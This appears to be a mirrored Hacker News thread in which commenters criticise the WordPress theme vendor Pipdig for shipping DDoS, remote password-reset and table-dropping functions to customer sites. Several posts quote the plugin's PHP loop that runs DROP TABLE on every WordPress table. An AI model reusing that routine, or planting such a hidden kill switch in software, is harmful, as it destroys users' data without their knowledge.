Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

WordPress theme provider Pipdig using customer sites to DDoS competitors

jemjabella.co.uk

Post reply on HN
Print view View original

21–30 of 87 posts

Re: WordPress theme provider Pipdig using customer sites to DDoS competitors

#21

Post by creato »

ceejayoz wrote: post #19
skilled wrote: post #16

Did they seriously have the audacity to deny all this after all those code examples were shown? Edit: Wow, peoples' responses on Twitter are even more delusional. Wtf?

> Wow, peoples' responses on Twitter are even more delusional. Wtf? I find this so baffling. It's like being shown the bodies of a serial killer's victims, and publicly stating "oh, but he never murdered me , so why are you all complaining?"

They surely do not understand they are looking at bodies. They're seeing a bunch of nerd speak about "DDoS" and "dropping database tables" and their eyes glazed over. But they understand their site looks pretty...

Re: WordPress theme provider Pipdig using customer sites to DDoS competitors

#22

Post by duskwuff »

cortesoft wrote: post #20
ceejayoz wrote: post #12

Earlier quoted context omitted.

> It sounds like they got a little overaggressive fighting with the company that had hijacked their themes and were selling them last year. Some of this might be explainable in this fashion, but not all. https://www.wordfence.com/blog/2019/03/peculiar-php-present-... > Firstly, the plugin includes a content filter that automatically replaces references to Blogerize, a service which claims to be a beginner’s blogging…

It sounds like that might have been the place that stole it?

Doesn't matter. A WordPress plugin/theme developer has no business altering the content of sites using their software.

Re: WordPress theme provider Pipdig using customer sites to DDoS competitors

#23

Post by 48309248302 »

mmaunder wrote: post #14
mmaunder wrote: post #13

Earlier quoted context omitted.

Thanks. My crew put this write-up together. We're here if you have any questions. Jem and us published almost at the same time although I think we beat her by an hour or so. We're in contact. Funny coincidence we were working on the same story at the same time. This has blown up on Twitter. Our team has stayed out of the online debate mostly other than answering questions. We're trying to just focus on the data here.…

I'd also like to add that the DDoS functionality isn't what really jumped out at me. It was the ability to reset your site's admin password remotely using a hard-coded password that anyone can read. And then there is also the ability to drop all your tables. When we contacted them before publishing via email, they explained that someone had been pirating their software so this was a countermeasure. (quote is in the W…

> I guess the idea was that they would destroy sites using pirated licenses.

Isn't it GPL?

Re: WordPress theme provider Pipdig using customer sites to DDoS competitors

#24

Post by Ayesh »

reustle wrote: post #18

A developer at Pipdig wrote these lines of code and shipped it, I wonder how they felt. foreach ($tables as $table) { $wpdb->query("DROP TABLE $table"); }

While I don't disagree that this is horrible, perhaps the $tables array is hardcoded array.

Re: WordPress theme provider Pipdig using customer sites to DDoS competitors

#25

Post by hrrsn »

duskwuff wrote: post #6
tfaruq wrote: post #2

From pipdig https://www.pipdig.co/blog/sad-times/

Pathetic. If I'm reading this correctly, they're essentially admitting to some of the malicious features described by the researcher, but claiming that they were included for support purposes, or as a way of sabotaging sites using pirated versions of their plugin. 1. Including features which can remotely grant unauthorized access or cause damage to a user's web site is inappropriate under any circumstances . Even if…

Re #2, it's clear from reading the code that the function has absolutely nothing to do with a licensing check anyway.

Re: WordPress theme provider Pipdig using customer sites to DDoS competitors

#26

Post by dajonker »

Ayesh wrote: post #24
reustle wrote: post #18

A developer at Pipdig wrote these lines of code and shipped it, I wonder how they felt. foreach ($tables as $table) { $wpdb->query("DROP TABLE $table"); }

While I don't disagree that this is horrible, perhaps the $tables array is hardcoded array.

It is not, you can check the post for the full context.

Re: WordPress theme provider Pipdig using customer sites to DDoS competitors

#27

Post by gadgetoid »

dajonker wrote: post #26
Ayesh wrote: post #24

Earlier quoted context omitted.

While I don't disagree that this is horrible, perhaps the $tables array is hardcoded array.

It is not, you can check the post for the full context.

Or, better still, an Archive.org snapshot of the commit that added this very code: https://web.archive.org/web/20190331195338/bitbucket.org/pip...

(As a resident geek, I was asked to look into this by a friend)

Re: WordPress theme provider Pipdig using customer sites to DDoS competitors

#28

Post by corobo »

Ayesh wrote: post #24
reustle wrote: post #18

A developer at Pipdig wrote these lines of code and shipped it, I wonder how they felt. foreach ($tables as $table) { $wpdb->query("DROP TABLE $table"); }

While I don't disagree that this is horrible, perhaps the $tables array is hardcoded array.

  global $wpdb;
  $prefix = str_replace('_', '\_', $wpdb->prefix);
  $tables = $wpdb->get_col("SHOW TABLES LIKE '{$prefix}%'");
  foreach ($tables as $table) {
   $wpdb->query("DROP TABLE $table");
  }
Essentially for those who aren't familiar with WordPress databases - this drops all tables relating to the WordPress install

Re: WordPress theme provider Pipdig using customer sites to DDoS competitors

#29

Post by nixgeek »

It looks like the company involved is based in the U.K. and also seems likely this software and their usage of it is a violation of the Computer Misuse Act.

One of their competitors should consider filing a complaint with the relevant authorities, so this gets formally investigated.

Re: WordPress theme provider Pipdig using customer sites to DDoS competitors

#30

Post by wp381640 »

jarym wrote: post #11

These guys put all this evil into their code (PHP no less so easily readable by anyone) and it took this long for them to get caught? Further, they peddled this into who knows how many themes they sold and never thought they'd get caught?

tons of wordpress themes and plugin are complete crap - even popular stuff. nobody reads the code or knows how to read it. it makes claiming bug bounties on wordpress sites easy.
Post reply on HN